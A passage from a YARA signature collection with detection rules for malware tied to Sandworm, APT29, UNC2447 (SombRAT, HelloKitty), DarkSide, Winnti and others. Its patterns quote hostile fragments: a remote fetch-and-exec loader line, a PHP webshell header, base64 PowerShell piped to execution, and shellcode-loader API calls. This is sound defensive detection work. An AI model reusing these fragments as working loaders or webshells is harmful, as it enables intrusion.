		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L68-L84"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "d052792a674dfa2d93a048b550ea085c3b9225662fdb09bf4a602093b0527e38"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
	strings:
		$s1 = "mysql_db:x:" ascii
		$a1 = "root:x:"
		$a2 = "daemon:x:"
	condition:
		filesize < 4KB and all of them
}

rule SIGNATURE_BASE_APT_WEBSHELL_PHP_Sandworm_May20_1 : FILE
{
	meta:
		description = "Detects GIF header PHP webshell used by Sandworm on compromised machines"
		author = "Florian Roth (Nextron Systems)"
		id = "b9ec02c2-fa83-5f21-95cf-3528047b2d01"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L86-L101"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "0d10f618c7b465c7691d6054e994a76f56c12eb0a36d2d98b5accd2c1e2c1da7"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "dc074464e50502459038ac127b50b8c68ed52817a61c2f97f0add33447c8f730"
		hash2 = "538d713cb47a6b5ec6a3416404e0fc1ebcbc219a127315529f519f936420c80e"
	strings:
		$h1 = "GIF89a <?php $" ascii
		$s1 = "str_replace(" ascii
	condition:
		filesize < 10KB and $h1 at 0 and $s1
}

rule SIGNATURE_BASE_APT_RU_Sandworm_PY_May20_1 : FILE
{
	meta:
		description = "Detects Sandworm Python loader"
		author = "Florian Roth (Nextron Systems)"
		id = "a392d800-1fe8-5ae9-b813-e1dfcedecda6"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L131-L148"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "2ccc4c7fc75c04cbcab34904de2e7ab055a15c1017ec0f8d01b06454f4395047"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "c025008463fdbf44b2f845f2d82702805d931771aea4b506573b83c8f58bccca"
	strings:
		$x1 = "o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]" ascii fullword
		$s1 = "exec(o.open('http://" ascii
		$s2 = "__import__({2:'urllib2',3:'urllib.request'}"
	condition:
		uint16( 0 ) == 0x6d69 and filesize < 1KB and 1 of ( $x* ) or 2 of them
}

rule SIGNATURE_BASE_APT_RU_Sandworm_PY_May20_2 : FILE
{
	meta:
		description = "Detects Sandworm Python loader"
		author = "Florian Roth (Nextron Systems)"
		id = "5b32ad64-d959-5632-a03c-17aa055b213f"
		date = "2020-05-28"
		modified = "2023-12-05"
		reference = "https://twitter.com/billyleonard/status/1266054881225236482"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_sandworm_exim_expl.yar#L150-L167"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "5fb61a9cef64ecf97adc78bf67db667cfd9e5e6f3e03f1bba8f3cdbf6c257520"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "abfa83cf54db8fa548942acd845b4f34acc94c46d4e1fb5ce7e97cc0c6596676"
	strings:
		$x1 = "import sys;import re, subprocess;cmd" ascii fullword
		$x2 = "UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http"
		$x3 = "';t='/admin/get.php';req" ascii
		$x4 = "ps -ef | grep Little\\ Snitch | grep " ascii fullword
	condition:
		uint16( 0 ) == 0x6d69 and filesize < 2KB and 1 of them
}

rule SIGNATURE_BASE_M_APT_Downloader_BEATDROP : FILE
{
	meta:
		description = "Rule looking for BEATDROP malware"
		author = "Mandiant"
		id = "5720870e-8989-59f2-998b-019084d091ce"
		date = "2022-04-28"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_apr22.yar#L1-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7a766682cc9a057798cc569111bfcb611648c4a052c0dd664d983b80d5891255"
		score = 90
		quality = 85
		tags = "FILE"
	strings:
		$ntdll1 = "ntdll" ascii fullword
		$ntdll2 = "C:\\Windows\\System32\\ntdll.dll" ascii fullword nocase
		$url1 = "api.trello.com" ascii
		$url2 = "/members/me/boards?key=" ascii
		$url3 = "/cards?key=" ascii
	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 1MB and all of them
}

rule SIGNATURE_BASE_M_APT_Downloader_BOOMMIC : FILE
{
	meta:
		description = "Rule looking for BOOMMIC malware"
		author = "Mandiant"
		id = "34ea08a6-5d6f-5cdd-a629-fa36313c98f7"
		date = "2022-04-28"
		modified = "2023-12-05"
		reference = "https://www.mandiant.com/resources/tracking-apt29-phishing-campaigns"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_apt29_nobelium_apr22.yar#L19-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c561b19464597f896d31307c0383fbc639cf4211600513e1251a3f59405bfed6"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$loc_10001000 = { 55 8B EC 8D 45 0C 50 8B 4D 08 51 6A 02 FF 15 [4] 85 C0 74 09 B8 01 00 00 00 EB 04 EB 02 33 C0 5D C3 }
		$loc_100012fd = {6A 00 8D 55 EC 52 8B 45 D4 50 6A 05 8B 4D E4 51 FF 15 }
		$func1 = "GetComputerNameExA" ascii
		$func2 = "HttpQueryInfoA" ascii
	condition:
		uint16( 0 ) == 0x5a4d and uint32( uint32( 0x3C ) ) == 0x00004550 and filesize < 1MB and ( ( $loc_10001000 and $func1 ) or ( $loc_100012fd and $func2 ) )
}



rule SIGNATURE_BASE_FE_APT_Trojan_Linux_PACEMAKER : FILE
{
	meta:
		description = "Detects samples mentioned in PulseSecure report"
		author = "Mandiant"
		id = "5a20260a-5389-57da-956c-97063fed5015"
		date = "2021-04-16"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_pulsesecure.yar#L99-L115"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "d7881c4de4d57828f7e1cab15687274b"
		logic_hash = "cf83024cbbd500a301ac3c859b680cd79acabc232ea6f42c23fe9f8918a8d914"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "\x00Name:%s || Pwd:%s || AuthNum:%s\x0a\x00"
		$s2 = "\x00/proc/%d/mem\x00"
		$s3 = "\x00/proc/%s/maps\x00"
		$s4 = "\x00/proc/%s/cmdline\x00"
	condition:
		( uint32( 0 ) == 0x464c457f ) and all of them
}


rule SIGNATURE_BASE_MAL_Wshrat_Dotnet_Packer_Feb21 : FILE
{
	meta:
		description = "Yara Rule for WSH rat .NET packer of February 2021 "
		author = "Yoroi Malware ZLab"
		id = "62e043fc-7d13-5b91-9fdd-e71d91194da2"
		date = "2021-03-09"
		modified = "2023-12-05"
		reference = "https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_wsh_rat.yar#L1-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "18159b140c314a00111fb9453e60d19c11633628a4fe2ad8299b839165b39424"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$a1 = { BE DD 60 8C 34 49 9A 54 D2 40 }
		$a2 = { 1D D7 24 22 47 A6 B1 A5 }
		$a3 = { 13 30 03 00 07 00 00 00 01 }
		$a4 = { 11 02 03 7D 78 00 00 04 2A }
		$a5 = { A8 8A F4 C8 61 2B CA 07 }
		$a6 = { 15 AE 5E AB 5A 20 FE B5 56 B4 61 2B BB 06 2A}
	condition:
		uint16( 0 ) == 0x5A4D and 3 of them
}

rule SIGNATURE_BASE_APT_UNC2447_MAL_SOMBRAT_May21_1 : FILE
{
	meta:
		description = "Detects SombRAT samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		id = "78b46bed-4fd4-596f-bba7-12243f467af3"
		date = "2021-05-01"
		modified = "2023-01-07"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2447_sombrat.yar#L2-L36"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "6f2572745cbd68c5f2be5c64b160d2513938daba6da57523012491acc63cfee4"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "61e286c62e556ac79b01c17357176e58efb67d86c5d17407e128094c3151f7f9"
		hash2 = "99baffcd7a6b939b72c99af7c1e88523a50053ab966a079d9bf268aff884426e"
	strings:
		$x1 = "~arungvc" ascii fullword
		$s1 = "plugin64_" ascii
		$s2 = "0xUnknown" ascii fullword
		$s3 = "b%x.%s" ascii fullword
		$s4 = "/news" ascii
		$sc1 = { 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73
               00 2E 00 65 00 78 00 65 00 00 00 00 00 00 00 00
               00 49 73 57 6F 77 36 34 50 72 6F 63 65 73 73 00
               00 6B 00 65 00 72 00 6E 00 65 00 6C 00 33 00 32
               00 00 00 00 00 00 00 00 00 47 00 6C 00 6F 00 62
               00 61 00 6C 00 5C 00 25 00 73 }
		$op1 = { 66 90 0f b6 45 80 32 44 0d 81 34 de 88 44 0d 81 48 ff c1 48 83 f9 19 72 e9 }
		$op2 = { 48 8b d0 66 0f 6f 05 ?1 ?? 0? 00 f3 0f 7f 44 24 68 66 89 7c 24 58 41 b8 10 00 00 00 4c 39 40 10 4c 0f 42 40 10 48 83 78 18 08 }
		$op3 = { 49 f7 b0 a0 00 00 00 42 0f b6 04 0a 41 30 44 33 fe 48 83 79 18 10 72 03 48 8b 09 33 d2 b8 05 00 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( ( 1 of ( $x* ) and 1 of ( $s* ) ) or 3 of them ) or 5 of them
}

rule SIGNATURE_BASE_APT_UNC2447_MAL_RANSOM_Hellokitty_May21_1 : FILE
{
	meta:
		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		id = "c84b2430-dcf1-5a80-96a0-02d292ea386b"
		date = "2021-05-01"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2447_sombrat.yar#L38-L72"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "acc0ab5502d53c6e22c8650c29c5459a6106f33c398e4efcd963f54971a0c870"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "02a08b994265901a649f1bcf6772bc06df2eb51eb09906af9fd0f4a8103e9851"
		hash2 = "0e5f7737704c8f25b2b8157561be54a463057cd4d79c7e016c30a1cf6590a85c"
		hash3 = "52dace403e8f9b4f7ea20c0c3565fa11b6953b404a7d49d63af237a57b36fd2a"
		hash4 = "7be901c5f7ffeb8f99e4f5813c259d0227335680380ed06df03fb836a041cb06"
		hash5 = "947e357bfdfe411be6c97af6559fd1cdc5c9d6f5cea122bf174d124ee03d2de8"
		hash6 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
		hash7 = "a147945635d5bd0fa832c9b55bc3ebcea7a7787e8f89b98a44279f8eddda2a77"
		hash8 = "bade05a30aba181ffbe4325c1ba6c76ef9e02cbe41a4190bd3671152c51c4a7b"
		hash9 = "c2498845ed4b287fd0f95528926c8ee620ef0cbb5b27865b2007d6379ffe4323"
		hash10 = "dc007e71085297883ca68a919e37687427b7e6db0c24ca014c148f226d8dd98f"
		hash11 = "ef614b456ca4eaa8156a895f450577600ad41bd553b4512ae6abf3fb8b5eb04e"
	strings:
		$xop1 = { 8b 45 08 8b 75 f4 fe 85 f7 fd ff ff 0f 11 44 05 b4 83 c0 10 89 45 08 83 f8 30 7c 82 }
		$xop2 = { 81 c3 dc a9 b0 5c c1 c9 0b 33 c8 89 55 a0 8b c7 8b 7d e0 c1 c8 06 33 f7 }
		$s1 = "select * from Win32_ShadowCopy" wide fullword
		$s2 = "bootfont.bin" wide fullword
		$s3 = "DECRYPT_NOTE.txt" wide fullword
		$s4 = ".onion" wide
		$sop1 = { 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 0f 11 45 ec }
		$sop2 = { 56 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 }
		$sop3 = { 57 8b f9 0f 57 c0 68 18 01 00 00 6a 00 0f 11 45 dc 8d 5f 20 53 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 800KB and 1 of ( $x* ) or 3 of them
}

rule SIGNATURE_BASE_APT_UNC2447_MAL_RANSOM_Hellokitty_May21_2 : FILE
{
	meta:
		description = "Detects HelloKitty Ransomware samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		id = "82aaabc6-102a-512e-8c2a-4d6fda864c68"
		date = "2021-05-01"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2447_sombrat.yar#L74-L99"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "1eee3a00ab3f70425d2b6bf5dc507155bf504b851ddb6515602d83d8b6a254b8"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
		hash2 = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
		hash3 = "501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe"
		hash4 = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
	strings:
		$xop1 = { 50 8d 45 f8 50 ff 75 fc ff 15 ?? ?? 42 00 3d ea 00 00 00 75 18 83 7d f8 00 }
		$s1 = "HelloKittyMutex" wide
		$s2 = "%s\\read_me_lkd.txt" wide fullword
		$s3 = "/C ping 127.0.0.1 & del %s" wide fullword
		$s4 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
		$sop1 = { 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc ff 15 ?? ?? 42 00 }
		$sop2 = { 74 12 6a 00 6a 01 ff 75 fc ff 15 ?? ?? 42 00 85 c0 0f 94 c3 ff 75 fc }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of ( $x* ) or 2 of them
}

rule SIGNATURE_BASE_APT_UNC2447_PS1_WARPRISM_May21_1 : FILE
{
	meta:
		description = "Detects WARPRISM PowerShell samples from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		id = "fa389a45-3b31-5a84-9882-49fd6ee8cac5"
		date = "2021-05-01"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2447_sombrat.yar#L101-L119"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "09abac2be0f12d31dabfdae9e8a148a28887a2a5df003c7bcb56ba45f1c6a62c"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "3090bff3d16b0b150444c3bfb196229ba0ab0b6b826fa306803de0192beddb80"
		hash2 = "63ba6db8c81c60dd9f1a0c7c4a4c51e2e56883f063509ed7b543ad7651fd8806"
		hash3 = "b41a303a4caa71fa260dd601a796033d8bfebcaa6bd9dfd7ad956fac5229a735"
	strings:
		$x1 = "if ($MyInvocation.MyCommand.Path -match '\\S') {" ascii fullword
		$s1 = "[DllImport(\"kernel32.dll\")]public static extern IntPtr VirtualAlloc(IntPtr " ascii wide
		$s2 = "[Runtime.InteropServices.Marshal]::Copy($" ascii wide
		$s3 = "[System.Diagnostics.Process]::Start((-join(" ascii wide
	condition:
		filesize < 5000KB and 1 of ( $x* ) or 2 of them
}

rule SIGNATURE_BASE_APT_UNC2447_BAT_Runner_May21_1 : FILE
{
	meta:
		description = "Detects Batch script runners from UNC2447 campaign"
		author = "Florian Roth (Nextron Systems)"
		id = "0bacd4f7-421a-570f-9f74-5a19ab806dd0"
		date = "2021-05-01"
		modified = "2023-01-07"
		reference = "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_unc2447_sombrat.yar#L121-L135"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f9872327f648e4421aa40ca3ce55df5d3eb5e8c5bc718ff62a3d4adac79217eb"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc"
	strings:
		$x1 = "powershell.exe -c \"[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String([IO.File]::" ascii
		$x2 = "wwansvc.txt')))\" | powershell.exe -" ascii
	condition:
		filesize < 5000KB and 1 of them
}

rule SIGNATURE_BASE_MAL_RANSOM_Darkside_May21_1 : FILE
{
	meta:
		description = "Detects Darkside Ransomware"
		author = "Florian Roth (Nextron Systems)"
		id = "e5592065-591e-597b-bebb-f20bc306fe52"
		date = "2021-05-10"
		modified = "2023-12-05"
		reference = "https://app.any.run/tasks/020c1740-717a-4191-8917-5819aa25f385/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_darkside.yar#L2-L23"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "84de92b0b36e373aa61e314a04597bd0578a04af34c501ae9071e5f4fa27c07a"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "ec368752c2cf3b23efbfa5705f9e582fc9d6766435a7b8eea8ef045082c6fbce"
	strings:
		$op1 = { 85 c9 75 ed ff 75 10 ff b5 d8 fe ff ff ff b5 dc fe ff ff e8 7d fc ff ff ff 8d cc fe ff ff 8b 8d cc fe ff ff }
		$op2 = { 66 0f 6f 06 66 0f 7f 07 83 c6 10 83 c7 10 49 85 c9 75 ed 5f }
		$op3 = { 6a 00 ff 15 72 0d 41 00 ab 46 81 fe 80 00 00 00 75 2e 6a ff 6a 01 }
		$op4 = { 0f b7 0c 5d 88 0f 41 00 03 4c 24 04 89 4c 24 04 83 e1 3f 0f b7 14 4d 88 0f 41 00 03 54 24 08 89 54 24 08 83 e2 3f }
		$s1 = "http://darksid" ascii
		$s2 = "[ Welcome to DarkSide ]" ascii
		$s3 = ".onion/" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them or all of ( $op* ) or all of ( $s* )
}


rule SIGNATURE_BASE_MAL_Dropper_Win_Darkside_1 : FILE
{
	meta:
		description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
		author = "FireEye"
		id = "910a581c-25a4-5d5e-acdc-6d87cbedd3cf"
		date = "2021-05-11"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_darkside.yar#L39-L56"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "131b3666ae444e0de043eafdf7cfd3324b927d18d8ad56d5004ea09b2da5610e"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$CommonDLLs1 = "KERNEL32.dll" fullword
		$CommonDLLs2 = "USER32.dll" fullword
		$CommonDLLs3 = "ADVAPI32.dll" fullword
		$CommonDLLs4 = "ole32.dll" fullword
		$KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
		$KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
		$Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
	condition:
		filesize < 2MB and filesize > 500KB and uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and ( all of ( $CommonDLLs* ) ) and ( all of ( $KeyString* ) ) and $Slashes
}

rule SIGNATURE_BASE_MAL_Backdoor_Win_C3_1 : FILE
{
	meta:
		description = "Detection to identify the Custom Command and Control (C3) binaries."
		author = "FireEye"
		id = "60eb022e-6f4e-5c7d-9ddf-b458a593071e"
		date = "2021-05-11"
		modified = "2023-12-05"
		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_ransom_darkside.yar#L58-L77"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "7cdac4b82a7573ae825e5edb48f80be5"
		logic_hash = "369c54b9426edb449004466d30e1010ecefe8cfbea106306eb8eb90b27610dbf"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$dropboxAPI = "Dropbox-API-Arg"
		$knownDLLs1 = "WINHTTP.dll" fullword
		$knownDLLs2 = "SHLWAPI.dll" fullword
		$knownDLLs3 = "NETAPI32.dll" fullword
		$knownDLLs4 = "ODBC32.dll" fullword
		$tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
		$tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
		$tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
	condition:
		filesize < 5MB and uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and ( ( ( all of ( $knownDLLs* ) ) and ( $dropboxAPI or ( 1 of ( $tokenString* ) ) ) ) or ( all of ( $tokenString* ) ) )
}

rule SIGNATURE_BASE_EXT_APT_Bitter_Win32K_0Day_Feb21 : FILE
{
	meta:
		description = "Detects code that exploits a Windows 0day exploited by Bitter APT group"
		author = "dbappsecurity_lieying_lab"
		id = "b1892b52-4b94-5571-ad63-8750a321f1f2"
		date = "2021-01-01"
		modified = "2023-12-05"
		reference = "https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_bitter.yar#L2-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "84a8d0ae14469eb6431e73295d821609c7a8b313630d645085ffd8faff6e5e43"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "NtUserConsoleControl" ascii wide
		$s2 = "NtCallbackReturn" ascii wide
		$s3 = "CreateWindowEx" ascii wide
		$s4 = "SetWindowLong" ascii wide
		$a1 = {48 C1 E8 02 48 C1 E9 02 C7 04 8A}
		$a2 = {66 0F 1F 44 00 00 80 3C 01 E8 74 22 FF C2 48 FF C1}
		$a3 = {48 63 05 CC 69 05 00 8B 0D C2 69 05 00 48 C1 E0 20 48 03 C1}
	condition:
		uint16( 0 ) == 0x5a4d and all of ( $s* ) and 1 of ( $a* )
}

rule SIGNATURE_BASE_MAL_Winnti_BR_Report_Twinpeaks : FILE
{
	meta:
		description = "Detects Winnti samples"
		author = "@br_data repo"
		id = "2e4e2b88-fdb4-5adc-8192-a304d71ca851"
		date = "2019-07-24"
		modified = "2023-12-05"
		reference = "https://github.com/br-data/2019-winnti-analyse"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti_br.yar#L3-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "76457f5aa4cc4bf4f43ffbaa60d63006455977e881f1d74b845835c505a93fed"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$cooper = "Cooper"
		$pattern = { e9 ea eb ec ed ee ef f0}
	condition:
		uint16( 0 ) == 0x5a4d and $cooper and ( $pattern in ( @cooper [ 1 ] .. @cooper [ 1 ] + 100 ) )
}

rule SIGNATURE_BASE_MAL_Winnti_BR_Report_Mockingjay : FILE
{
	meta:
		description = "Detects Winnti samples"
		author = "@br_data repo"
		id = "9aff9d65-3827-59de-9dc3-38f227155d3d"
		date = "2019-07-24"
		modified = "2023-12-05"
		reference = "https://github.com/br-data/2019-winnti-analyse"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_winnti_br.yar#L30-L46"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7a63b6f10cc5feebba16e585cb29d741876e1dc7f4dde3ef43ac76db9c7ad135"
		score = 75
		quality = 85
		tags = "FILE"
	strings:
		$load_magic = { C7 44 ?? ?? FF D8 FF E0 }
		$iter = { E9 EA EB EC ED EE EF F0 }
		$jpeg = { FF D8 FF E0 00 00 00 00 00 00 }
	condition:
		uint16( 0 ) == 0x5a4d and $jpeg and ( $load_magic or $iter in ( @jpeg [ 1 ] .. @jpeg [ 1 ] + 200 ) ) and for any i in ( 1 .. #jpeg ) : ( uint8( @jpeg [ i ] + 11 ) != 0 )
}

